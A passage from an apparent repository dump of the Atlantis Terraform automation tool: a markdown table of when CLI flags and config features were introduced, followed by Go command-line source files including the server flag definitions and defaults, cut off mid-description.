`--gh-app-installation-id` - Specific GitHub App installation ID\n\n### v0.21.0\n\n-  `--markdown-template-overrides-dir` - Directory for markdown template overrides\n\n### v0.22.0+\n\n-  `--parallel-plan` - Run plan operations in parallel\n-  `--parallel-apply` - Run apply operations in parallel\n-  `--abort-on-execution-order-fail` - Abort execution on failures\n\n### v0.23.0+\n\n-  `--enable-plan-queue` - Enable plan queue feature for queuing plan requests\n-  `--enable-lock-retry` - Enable automatic retry of lock acquisition\n-  `--lock-retry-delay` - Delay between lock retry attempts\n-  `--lock-retry-max-attempts` - Maximum lock retry attempts\n\n### v0.24.0+\n\n-  `--default-tf-distribution` - Default Terraform distribution (terraform/opentofu)\n-  `--terraform-cloud` - Terraform Cloud integration features\n\n### v0.25.0+\n\n-  `--enable-profiling-api` - Enable pprof endpoints for profiling\n-  `--enable-diff-markdown-format` - Format Terraform plan output for markdown-diff\n\n### v0.26.0+\n\n-  `--autoplan-modules` - Enable autoplanning when modules change\n-  `--autoplan-modules-from-projects` - Configure which projects to index for module changes\n\n### v0.27.0+\n\n-  `--autodiscover-mode` - Configure autodiscovery mode (auto|enabled|disabled)\n-  `--include-git-untracked-files` - Include untracked files in modified file list\n\n### v0.28.0+\n\n-  `--restrict-file-list` - Block plan requests from projects outside modified files\n-  `--silence-allowlist-errors` - Silence allowlist error comments\n-  `--silence-fork-pr-errors` - Silence fork PR error comments\n-  `--silence-vcs-status-no-plans` - Silence VCS status when no plans\n-  `--silence-vcs-status-no-projects` - Silence VCS status when no projects\n\n### v0.29.0+\n\n-  `--discard-approval-on-plan` - Discard approval if new plan executed\n-  `--emoji-reaction` - Emoji reaction for marking processed comments\n-  `--hide-unchanged-plan-comments` - Remove no-changes plan comments\n\n### v0.30.0+\n\n-  `--gh-allow-mergeable-bypass-apply` - Allow mergeable mode with required apply status check\n-  `--ignore-vcs-status-names` - Ignore VCS status names from other Atlantis services\n\n### v0.31.0+\n\n-  `--fail-on-pre-workflow-hook-error` - Fail if pre-workflow hooks error\n-  `--disable-markdown-folding` - Disable markdown folding in comments\n\n### v0.32.0+\n\n-  `--max-comments-per-command` - Limit comments published per command\n-  `--quiet-policy-checks` - Exclude policy check comments unless errors\n\n### v0.33.0+\n\n-  `--disable-unlock-label` - Stop unlocking PRs with specific label\n-  `--disable-autoplan-label` - Disable autoplanning on PRs with specific label\n\n### v0.34.0+\n\n-  `--allow-commands` - List of allowed commands to run\n-  `--allow-fork-prs` - Respond to pull requests from forks\n\n### v0.35.0+\n\n-  `--azuredevops-hostname` - Azure DevOps hostname support\n-  `--azuredevops-token` - Azure DevOps token\n-  `--azuredevops-user` - Azure DevOps username\n-  `--azuredevops-webhook-password` - Azure DevOps webhook password\n-  `--azuredevops-webhook-user` - Azure DevOps webhook username\n\n### v0.36.0+\n\n-  `--bitbucket-base-url` - Bitbucket Server base URL\n-  `--bitbucket-token` - Bitbucket app password\n-  `--bitbucket-user` - Bitbucket username\n-  `--bitbucket-webhook-secret` - Bitbucket webhook secret\n\n### v0.37.0+\n\n-  `--checkout-depth` - Number of commits to fetch from branch\n-  `--checkout-strategy` - How to check out pull requests (branch|merge)\n\n### v0.38.0+\n\n-  `--config` - YAML config file for flags\n-  `--repo-config` - Path to server-side repo config file\n-  `--repo-config-json` - Server-side repo config as JSON string\n\n### v0.39.0+\n\n-  `--gitea-base-url` - Gitea base URL\n-  `--gitea-token` - Gitea app password\n-  `--gitea-user` - Gitea username\n-  `--gitea-webhook-secret` - Gitea webhook secret\n-  `--gitea-page-size` - Number of items per page in Gitea responses\n\n### v0.40.0+\n\n-  `--gitlab-hostname` - GitLab Enterprise hostname\n-  `--gitlab-token` - GitLab token\n-  `--gitlab-user` - GitLab username\n-  `--gitlab-webhook-secret` - GitLab webhook secret\n-  `--gitlab-group-allowlist` - GitLab groups and permission pairs\n\n### v0.41.0+\n\n-  `--gh-team-allowlist` - GitHub teams and permission pairs\n-  `--gh-token-file` - GitHub token loaded from file\n\n### v0.42.0+\n\n-  `--executable-name` - Comment command trigger executable name\n-  `--vcs-status-name` - Name for identifying Atlantis in PR status\n\n### v0.43.0+\n\n-  `--stats-namespace` - Namespace for emitting stats/metrics\n-  `--slack-token` - API token for Slack notifications\n\n### v0.44.0+\n\n-  `--ssl-cert-file` - SSL certificate file for HTTPS\n-  `--ssl-key-file` - SSL private key file for HTTPS\n\n### v0.45.0+\n\n-  `--tfe-hostname` - Terraform Enterprise hostname\n-  `--tfe-token` - Terraform Cloud/Enterprise token\n-  `--tfe-local-execution-mode` - Enable local execution mode\n\n### v0.46.0+\n\n-  `--use-tf-plugin-cache` - Enable/disable Terraform plugin cache\n-  `--webhook-http-headers` - Additional headers for HTTP webhooks\n\n### v0.47.0+\n\n-  `--websocket-check-origin` - Only allow websockets from Atlantis web server\n-  `--write-git-creds` - Write .git-credentials file for private modules\n\n### v0.48.0+\n\n-  `--locking-db-type` - Locking database type (boltdb|redis)\n-  `--redis-host` - Redis hostname\n-  `--redis-port` - Redis port\n-  `--redis-password` - Redis password\n-  `--redis-db` - Redis database number\n-  `--redis-tls-enabled` - Enable TLS connection to Redis\n-  `--redis-insecure-skip-verify` - Skip Redis certificate verification\n\n## Repo-Level atlantis.yaml Features\n\n### Core Features (v0.1.0+)\n\n-  `version` - Configuration version (required)\n-  `projects` - List of projects in the repo\n-  `workflows` - Custom workflows (restricted)\n\n### v0.15.0+\n\n-  `automerge` - Automatically merge PR when all plans applied\n-  `delete_source_branch_on_merge` - Delete source branch on merge\n\n### v0.17.0+\n\n-  `parallel_plan` - Run plans in parallel\n-  `parallel_apply` - Run applies in parallel\n-  `abort_on_execution_order_fail` - Abort on execution order failures\n\n### v0.18.0+\n\n-  `autodiscover` - Configure autodiscovery mode and ignore paths\n\n### v0.19.0+\n\n-  `allowed_regexp_prefixes` - Allowed regex prefixes for regex commands\n\n## Project-Level Features\n\n### Core Features (v0.1.0+)\n\n-  `name` - Project name\n-  `dir` - Project directory\n-  `workspace` - Terraform workspace\n-  `terraform_version` - Specific Terraform version\n\n### v0.17.0+\n\n-  `execution_order_group` - Execution order group index\n-  `delete_source_branch_on_merge` - Delete source branch on merge\n-  `repo_locking` - Repository locking (deprecated)\n-  `repo_locks` - Repository locks configuration\n-  `custom_policy_check` - Enable custom policy check tools\n-  `autoplan` - Custom autoplan configuration\n-  `plan_requirements` - Requirements for plan command (restricted)\n-  `apply_requirements` - Requirements for apply command (restricted)\n-  `import_requirements` - Requirements for import command (restricted)\n-  `silence_pr_comments` - Silence PR comments for specific stages\n-  `workflow` - Custom workflow (restricted)\n\n### v0.20.0+\n\n-  `branch` - Regex matching projects by base branch\n-  `depends_on` - Project dependencies\n\n### v0.33.0+\n\n-  `terraform_distribution` - Terraform distribution (terraform/opentofu)\n\n## Autoplan Configuration\n\n### Core Features (v0.1.0+)\n\n-  `enabled` - Whether autoplanning is enabled\n-  `when_modified` - File patterns that trigger autoplanning\n\n## RepoLocks Configuration\n\n### v0.17.0+\n\n-  `mode` - Repository lock mode (disabled|on_plan|on_apply)\n\n## Notes\n\n1. **Version Accuracy**: This analysis is based on the changelog, documentation, and code analysis. Some features may have been introduced in different versions than documented due to the changelog not being updated consistently.\n\n2. **Restricted Features**: Some features are marked as \"restricted\" and require server-side configuration to enable.\n\n3. **Deprecated Features**: Some features have been deprecated in favor of newer alternatives (e.g., `--repo-whitelist` → `--repo-allowlist`).\n\n4. **Missing Versions**: For some features, the exact introduction version could not be determined from the available documentation and changelog. These are marked with approximate version ranges.\n\n5. **Recent Features**: Features introduced after v0.23.0 may not be fully documented in the changelog as noted in the changelog header.\n\n## Recommendations\n\n1. **Update Documentation**: The documentation should be updated to include version information for each feature.\n\n2. **Enhance Changelog**: The changelog should be maintained more consistently to track feature introductions.\n\n3. **Version Tags**: Consider adding version tags to documentation sections to indicate when features were introduced.\n\n4. **Migration Guides**: Provide migration guides for deprecated features and breaking changes.\n"
  },
  {
    "path": "cmd/bootstrap.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage cmd\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\t\"github.com/runatlantis/atlantis/testdrive\"\n\t\"github.com/spf13/cobra\"\n)\n\n// TestdriveCmd starts the testdrive process for testing out Atlantis.\ntype TestdriveCmd struct{}\n\n// Init returns the runnable cobra command.\nfunc (b *TestdriveCmd) Init() *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse:   \"testdrive\",\n\t\tShort: \"Start a guided tour of Atlantis\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\terr := testdrive.Start()\n\t\t\tif err != nil {\n\t\t\t\tfmt.Fprintf(os.Stderr, \"\\033[31mError: %s\\033[39m\\n\\n\", err.Error())\n\t\t\t}\n\t\t\treturn err\n\t\t},\n\t\tSilenceErrors: true,\n\t}\n}\n"
  },
  {
    "path": "cmd/cmd.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\n// Package cmd provides all CLI commands.\n// NOTE: These are different from the commands that get run via pull request\n// comments.\npackage cmd\n"
  },
  {
    "path": "cmd/help_fmt.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage cmd\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n\t\"text/template\"\n)\n\n// usageTmpl returns a cobra-compatible usage template that will be printed\n// during the help output.\n// This template prints help like:\n//\n//\t--name=<value>\n//\t <description>\n//\n// We use it over the default template so that the output it easier to read.\nfunc usageTmpl(stringFlags map[string]stringFlag, intFlags map[string]intFlag, boolFlags map[string]boolFlag) string {\n\tvar flagNames []string\n\tfor name, f := range stringFlags {\n\t\tif f.hidden {\n\t\t\tcontinue\n\t\t}\n\t\tflagNames = append(flagNames, name)\n\t}\n\tfor name, f := range boolFlags {\n\t\tif f.hidden {\n\t\t\tcontinue\n\t\t}\n\t\tflagNames = append(flagNames, name)\n\t}\n\tfor name, f := range intFlags {\n\t\tif f.hidden {\n\t\t\tcontinue\n\t\t}\n\t\tflagNames = append(flagNames, name)\n\t}\n\tsort.Strings(flagNames)\n\n\ttype flag struct {\n\t\tName        string\n\t\tDescription string\n\t\tIsBoolFlag  bool\n\t}\n\n\tvar flags []flag\n\tfor _, name := range flagNames {\n\t\tvar descrip string\n\t\tvar isBool bool\n\t\tif f, ok := stringFlags[name]; ok {\n\t\t\tdescripWithDefault := f.description\n\t\t\tif f.defaultValue != \"\" {\n\t\t\t\tdescripWithDefault += fmt.Sprintf(\" (default %q)\", f.defaultValue)\n\t\t\t}\n\t\t\tdescrip = to80CharCols(descripWithDefault)\n\t\t\tisBool = false\n\t\t} else if f, ok := boolFlags[name]; ok {\n\t\t\tdescrip = to80CharCols(f.description)\n\t\t\tisBool = true\n\t\t} else if f, ok := intFlags[name]; ok {\n\t\t\tdescripWithDefault := f.description\n\t\t\tif f.defaultValue != 0 {\n\t\t\t\tdescripWithDefault += fmt.Sprintf(\" (default %d)\", f.defaultValue)\n\t\t\t}\n\t\t\tdescrip = to80CharCols(descripWithDefault)\n\t\t\tisBool = false\n\t\t} else {\n\t\t\tpanic(\"this is a bug\")\n\t\t}\n\n\t\tflags = append(flags, flag{\n\t\t\tName:        name,\n\t\t\tDescription: descrip,\n\t\t\tIsBoolFlag:  isBool,\n\t\t})\n\t}\n\n\ttmpl := template.Must(template.New(\"\").Parse(\n\t\t\"  --{{.Name}}{{if not .IsBoolFlag}}=<value>{{end}}\\n{{.Description}}\\n\"))\n\tvar flagHelpOutput strings.Builder\n\tfor _, f := range flags {\n\t\tbuf := &bytes.Buffer{}\n\t\tif err := tmpl.Execute(buf, f); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tflagHelpOutput.WriteString(buf.String())\n\t}\n\n\t// Most of this template is taken from cobra.Command.UsageTemplate()\n\t// but we're subbing out the \"Flags:\" section with our custom output.\n\treturn fmt.Sprintf(`Usage:{{if .Runnable}}\n  {{.UseLine}}{{end}}{{if .HasAvailableSubCommands}}\n  {{.CommandPath}} [command]{{end}}{{if gt (len .Aliases) 0}}\n\nAliases:\n  {{.NameAndAliases}}{{end}}{{if .HasExample}}\n\nExamples:\n{{.Example}}{{end}}{{if .HasAvailableSubCommands}}\n\nAvailable Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name \"help\"))}}\n  {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}}\n\nFlags:\n\n%s{{end}}{{if .HasAvailableInheritedFlags}}\n\nGlobal Flags:\n{{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}}\n\nAdditional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}}\n  {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}}\n\nUse \"{{.CommandPath}} [command] --help\" for more information about a command.{{end}}\n`, flagHelpOutput.String())\n}\n\n// to80CharCols takes a string s as input and returns a new string that is split\n// into multiple lines with each line having a maximum of 80 characters\nfunc to80CharCols(s string) string {\n\tvar splitAt80 strings.Builder\n\tsplitSpaces := strings.Split(s, \" \")\n\tvar nextLine string\n\tfor i, spaceSplit := range splitSpaces {\n\t\tif len(nextLine)+len(spaceSplit)+1 > 80 {\n\t\t\tsplitAt80.WriteString(fmt.Sprintf(\"      %s\\n\", strings.TrimSuffix(nextLine, \" \")))\n\t\t\tnextLine = \"\"\n\t\t}\n\t\tif i == len(splitSpaces)-1 {\n\t\t\tnextLine += spaceSplit + \" \"\n\t\t\tsplitAt80.WriteString(fmt.Sprintf(\"      %s\\n\", strings.TrimSuffix(nextLine, \" \")))\n\t\t\tbreak\n\t\t}\n\t\tnextLine += spaceSplit + \" \"\n\t}\n\n\treturn splitAt80.String()\n}\n"
  },
  {
    "path": "cmd/root.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage cmd\n\nimport (\n\t\"os\"\n\n\t\"github.com/spf13/cobra\"\n)\n\n// RootCmd is the base command onto which all other commands are added.\nvar RootCmd = &cobra.Command{\n\tUse:   \"atlantis\",\n\tShort: \"Terraform Pull Request Automation\",\n}\n\n// Execute starts RootCmd.\nfunc Execute() {\n\tif err := RootCmd.Execute(); err != nil {\n\t\tos.Exit(1)\n\t}\n}\n"
  },
  {
    "path": "cmd/server.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage cmd\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"slices\"\n\t\"strings\"\n\n\thomedir \"github.com/mitchellh/go-homedir\"\n\t\"github.com/moby/patternmatcher\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n\n\t\"github.com/runatlantis/atlantis/server\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// checkout strategies\nconst (\n\tCheckoutStrategyBranch = \"branch\"\n\tCheckoutStrategyMerge  = \"merge\"\n)\n\n// TF distributions\nconst (\n\tTFDistributionTerraform = \"terraform\"\n\tTFDistributionOpenTofu  = \"opentofu\"\n)\n\n// To add a new flag you must:\n// 1. Add a const with the flag name (in alphabetic order).\n// 2. Add a new field to server.UserConfig and set the mapstructure tag equal to the flag name.\n// 3. Add your flag's description etc. to the stringFlags, intFlags, or boolFlags slices.\nconst (\n\t// Flag names.\n\tADWebhookPasswordFlag            = \"azuredevops-webhook-password\" // nolint: gosec\n\tADWebhookUserFlag                = \"azuredevops-webhook-user\"\n\tADTokenFlag                      = \"azuredevops-token\" // nolint: gosec\n\tADUserFlag                       = \"azuredevops-user\"\n\tADHostnameFlag                   = \"azuredevops-hostname\"\n\tAllowCommandsFlag                = \"allow-commands\"\n\tAllowForkPRsFlag                 = \"allow-fork-prs\"\n\tAtlantisURLFlag                  = \"atlantis-url\"\n\tAutoDiscoverModeFlag             = \"autodiscover-mode\"\n\tAutomergeFlag                    = \"automerge\"\n\tParallelPlanFlag                 = \"parallel-plan\"\n\tParallelApplyFlag                = \"parallel-apply\"\n\tAutoplanModules                  = \"autoplan-modules\"\n\tAutoplanModulesFromProjects      = \"autoplan-modules-from-projects\"\n\tAutoplanFileListFlag             = \"autoplan-file-list\"\n\tBitbucketApiUserFlag             = \"bitbucket-api-user\"\n\tBitbucketBaseURLFlag             = \"bitbucket-base-url\"\n\tBitbucketTokenFlag               = \"bitbucket-token\"\n\tBitbucketUserFlag                = \"bitbucket-user\"\n\tBitbucketWebhookSecretFlag       = \"bitbucket-webhook-secret\"\n\tCheckoutDepthFlag                = \"checkout-depth\"\n\tCheckoutStrategyFlag             = \"checkout-strategy\"\n\tConfigFlag                       = \"config\"\n\tDataDirFlag                      = \"data-dir\"\n\tDefaultTFDistributionFlag        = \"default-tf-distribution\"\n\tDefaultTFVersionFlag             = \"default-tf-version\"\n\tDisableApplyAllFlag              = \"disable-apply-all\"\n\tDisableAutoplanFlag              = \"disable-autoplan\"\n\tDisableAutoplanLabelFlag         = \"disable-autoplan-label\"\n\tDisableMarkdownFoldingFlag       = \"disable-markdown-folding\"\n\tDisableRepoLockingFlag           = \"disable-repo-locking\"\n\tDisableGlobalApplyLockFlag       = \"disable-global-apply-lock\"\n\tDisableUnlockLabelFlag           = \"disable-unlock-label\"\n\tDiscardApprovalOnPlanFlag        = \"discard-approval-on-plan\"\n\tEmojiReaction                    = \"emoji-reaction\"\n\tEnableDiffMarkdownFormat         = \"enable-diff-markdown-format\"\n\tEnablePolicyChecksFlag           = \"enable-policy-checks\"\n\tEnableRegExpCmdFlag              = \"enable-regexp-cmd\"\n\tEnableProfilingAPI               = \"enable-profiling-api\"\n\tExecutableName                   = \"executable-name\"\n\tFailOnPreWorkflowHookError       = \"fail-on-pre-workflow-hook-error\"\n\tHideUnchangedPlanComments        = \"hide-unchanged-plan-comments\"\n\tGHHostnameFlag                   = \"gh-hostname\"\n\tGHTeamAllowlistFlag              = \"gh-team-allowlist\"\n\tGHTokenFlag                      = \"gh-token\"\n\tGHTokenFileFlag                  = \"gh-token-file\" // nolint: gosec\n\tGHUserFlag                       = \"gh-user\"\n\tGHAppIDFlag                      = \"gh-app-id\"\n\tGHAppKeyFlag                     = \"gh-app-key\"\n\tGHAppKeyFileFlag                 = \"gh-app-key-file\"\n\tGHAppSlugFlag                    = \"gh-app-slug\"\n\tGHAppInstallationIDFlag          = \"gh-app-installation-id\"\n\tGHOrganizationFlag               = \"gh-org\"\n\tGHWebhookSecretFlag              = \"gh-webhook-secret\"               // nolint: gosec\n\tGHAllowMergeableBypassApply      = \"gh-allow-mergeable-bypass-apply\" // nolint: gosec\n\tGiteaBaseURLFlag                 = \"gitea-base-url\"\n\tGiteaTokenFlag                   = \"gitea-token\"\n\tGiteaUserFlag                    = \"gitea-user\"\n\tGiteaWebhookSecretFlag           = \"gitea-webhook-secret\" // nolint: gosec\n\tGiteaPageSizeFlag                = \"gitea-page-size\"\n\tGitlabGroupAllowlistFlag         = \"gitlab-group-allowlist\"\n\tGitlabHostnameFlag               = \"gitlab-hostname\"\n\tGitlabTokenFlag                  = \"gitlab-token\"\n\tGitlabUserFlag                   = \"gitlab-user\"\n\tGitlabWebhookSecretFlag          = \"gitlab-webhook-secret\" // nolint: gosec\n\tGitlabStatusRetryEnabledFlag     = \"gitlab-status-retry-enabled\"\n\tIncludeGitUntrackedFiles         = \"include-git-untracked-files\"\n\tAPISecretFlag                    = \"api-secret\"\n\tHidePrevPlanComments             = \"hide-prev-plan-comments\"\n\tQuietPolicyChecks                = \"quiet-policy-checks\"\n\tLockingDBType                    = \"locking-db-type\"\n\tLogLevelFlag                     = \"log-level\"\n\tMarkdownTemplateOverridesDirFlag = \"markdown-template-overrides-dir\"\n\tMaxCommentsPerCommand            = \"max-comments-per-command\"\n\tParallelPoolSize                 = \"parallel-pool-size\"\n\tPendingApplyStatusFlag           = \"pending-apply-status\"\n\tStatsNamespace                   = \"stats-namespace\"\n\tAllowDraftPRs                    = \"allow-draft-prs\"\n\tPortFlag                         = \"port\"\n\tRedisDB                          = \"redis-db\"\n\tRedisHost                        = \"redis-host\"\n\tRedisPassword                    = \"redis-password\"\n\tRedisPort                        = \"redis-port\"\n\tRedisTLSEnabled                  = \"redis-tls-enabled\"\n\tRedisInsecureSkipVerify          = \"redis-insecure-skip-verify\"\n\tRepoConfigFlag                   = \"repo-config\"\n\tRepoConfigJSONFlag               = \"repo-config-json\"\n\tRepoAllowlistFlag                = \"repo-allowlist\"\n\tSilenceNoProjectsFlag            = \"silence-no-projects\"\n\tSilenceForkPRErrorsFlag          = \"silence-fork-pr-errors\"\n\tSilenceVCSStatusNoPlans          = \"silence-vcs-status-no-plans\"\n\tSilenceVCSStatusNoProjectsFlag   = \"silence-vcs-status-no-projects\"\n\tSilenceAllowlistErrorsFlag       = \"silence-allowlist-errors\"\n\tSkipCloneNoChanges               = \"skip-clone-no-changes\"\n\tSlackTokenFlag                   = \"slack-token\"\n\tSSLCertFileFlag                  = \"ssl-cert-file\"\n\tSSLKeyFileFlag                   = \"ssl-key-file\"\n\tRestrictFileList                 = \"restrict-file-list\"\n\tTFDistributionFlag               = \"tf-distribution\" // deprecated for DefaultTFDistributionFlag\n\tTFDownloadFlag                   = \"tf-download\"\n\tTFDownloadURLFlag                = \"tf-download-url\"\n\tUseTFPluginCache                 = \"use-tf-plugin-cache\"\n\tVarFileAllowlistFlag             = \"var-file-allowlist\"\n\tVCSStatusName                    = \"vcs-status-name\"\n\tIgnoreVCSStatusNames             = \"ignore-vcs-status-names\"\n\tTFEHostnameFlag                  = \"tfe-hostname\"\n\tTFELocalExecutionModeFlag        = \"tfe-local-execution-mode\"\n\tTFETokenFlag                     = \"tfe-token\"\n\tWriteGitCredsFlag                = \"write-git-creds\" // nolint: gosec\n\tWebhookHttpHeaders               = \"webhook-http-headers\"\n\tWebBasicAuthFlag                 = \"web-basic-auth\"\n\tWebUsernameFlag                  = \"web-username\"\n\tWebPasswordFlag                  = \"web-password\"\n\tWebsocketCheckOrigin             = \"websocket-check-origin\"\n\n\t// NOTE: Must manually set these as defaults in the setDefaults function.\n\tDefaultADBasicUser                  = \"\"\n\tDefaultADBasicPassword              = \"\"\n\tDefaultADHostname                   = \"dev.azure.com\"\n\tDefaultAutoDiscoverMode             = \"auto\"\n\tDefaultAutoplanFileList             = \"**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl\"\n\tDefaultAllowCommands                = \"version,plan,apply,unlock,approve_policies,cancel\"\n\tDefaultCheckoutStrategy             = CheckoutStrategyBranch\n\tDefaultCheckoutDepth                = 0\n\tDefaultBitbucketBaseURL             = bitbucketcloud.BaseURL\n\tDefaultDataDir                      = \"~/.atlantis\"\n\tDefaultEmojiReaction                = \"\"\n\tDefaultExecutableName               = \"atlantis\"\n\tDefaultMarkdownTemplateOverridesDir = \"~/.markdown_templates\"\n\tDefaultGHHostname                   = \"github.com\"\n\tDefaultGiteaBaseURL                 = \"https://gitea.com\"\n\tDefaultGiteaPageSize                = 30\n\tDefaultGitlabHostname               = \"gitlab.com\"\n\tDefaultLockingDBType                = \"boltdb\"\n\tDefaultLogLevel                     = \"info\"\n\tDefaultIgnoreVCSStatusNames         = \"\"\n\tDefaultMaxCommentsPerCommand        = 100\n\tDefaultParallelPoolSize             = 15\n\tDefaultStatsNamespace               = \"atlantis\"\n\tDefaultPort                         = 4141\n\tDefaultRedisDB                      = 0\n\tDefaultRedisPort                    = 6379\n\tDefaultRedisTLSEnabled              = false\n\tDefaultRedisInsecureSkipVerify      = false\n\tDefaultTFDistribution               = TFDistributionTerraform\n\tDefaultTFDownloadURL                = \"https://releases.hashicorp.com\"\n\tDefaultTFDownload                   = true\n\tDefaultTFEHostname                  = \"app.terraform.io\"\n\tDefaultVCSStatusName                = \"atlantis\"\n\tDefaultWebBasicAuth                 = false\n\tDefaultWebUsername                  = \"atlantis\"\n\tDefaultWebPassword                  = \"atlantis\"\n)\n\nvar stringFlags = map[string]stringFlag{\n\tADTokenFlag: {\n\t\tdescription: \"Azure DevOps token of API user. Can also be specified via the ATLANTIS_AZUREDEVOPS_TOKEN environment variable.\",\n\t},\n\tADUserFlag: {\n\t\tdescription: \"Azure DevOps username of API user.\",\n\t},\n\tADWebhookPasswordFlag: {\n\t\tdescription: \"Azure DevOps basic HTTP authentication password for inbound webhooks \" +\n\t\t\t\"(see https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops).\" +\n\t\t\t\" SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from your Azure DevOps org. \" +\n\t\t\t\"This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. \" +\n\t\t\t\"Should be specified via the ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD environment variable.\",\n\t\tdefaultValue: \"\",\n\t},\n\tADWebhookUserFlag: {\n\t\tdescription:  \"Azure DevOps basic HTTP authentication username for inbound webhooks.\",\n\t\tdefaultValue: \"\",\n\t},\n\tADHostnameFlag: {\n\t\tdescription:  \"Azure DevOps hostname to support cloud and self hosted instances.\",\n\t\tdefaultValue: \"dev.azure.com\",\n\t},\n\tAllowCommandsFlag: {\n\t\tdescription:  \"Comma separated list of acceptable atlantis commands.\",\n\t\tdefaultValue: DefaultAllowCommands,\n\t},\n\tAtlantisURLFlag: {\n\t\tdescription: \"URL that Atlantis can be reached at. Defaults to http://$(hostname):$port where $port is from --\" + PortFlag + \". Supports a base path ex. https://example.com/basepath.\",\n\t},\n\tAutoDiscoverModeFlag: {\n\t\tdescription: \"Auto discover mode controls whether projects in a repo are discovered by Atlantis. Defaults to 'auto' which \" +\n\t\t\t\"means projects will be discovered when no explicit projects are defined in repo config. Also supports 'enabled' (always \" +\n\t\t\t\"discover projects) and 'disabled' (never discover projects).\",\n\t\tdefaultValue: DefaultAutoDiscoverMode,\n\t},\n\tAutoplanModulesFromProjects: {\n\t\tdescription: \"Comma separated list of file patterns to select projects Atlantis will index for module dependencies.\" +\n\t\t\t\" Indexed projects will automatically be planned if a module they depend on is modified.\" +\n\t\t\t\" Patterns use the dockerignore (https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax.\" +\n\t\t\t\" A custom Workflow that uses autoplan 'when_modified' will ignore this value.\",\n\t\tdefaultValue: \"\",\n\t},\n\tAutoplanFileListFlag: {\n\t\tdescription: \"Comma separated list of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning.\" +\n\t\t\t\" Patterns use the dockerignore (https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax.\" +\n\t\t\t\" Use single quotes to avoid shell expansion of '*'. Defaults to '\" + DefaultAutoplanFileList + \"'.\" +\n\t\t\t\" A custom Workflow that uses autoplan 'when_modified' will ignore this value.\",\n\t\tdefaultValue: DefaultAutoplanFileList,\n\t},\n\tBitbucketApiUserFlag: {\n\t\tdescription: \"Bitbucket username for API calls. If not set, defaults to bitbucket-user for backward compatibility. Can also be specified via the ATLANTIS_BITBUCKET_API_USER environment variable.\",\n\t},\n\tBitbucketUserFlag: {\n\t\tdescription: \"Bitbucket username for git operations.\",\n\t},\n\tBitbucketTokenFlag: {\n\t\tdescription: \"Bitbucket app password of API user. Can also be specified via the ATLANTIS_BITBUCKET_TOKEN environment variable.\",\n\t},\n\tBitbucketBaseURLFlag: {\n\t\tdescription: \"Base URL of Bitbucket Server (aka Stash) installation.\" +\n\t\t\t\" Must include 'http://' or 'https://'.\" +\n\t\t\t\" If using Bitbucket Cloud (bitbucket.org), do not set.\",\n\t\tdefaultValue: DefaultBitbucketBaseURL,\n\t},\n\tBitbucketWebhookSecretFlag: {\n\t\tdescription: \"Secret used to validate Bitbucket webhooks.\" +\n\t\t\t\" SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. \" +\n\t\t\t\"This means that an 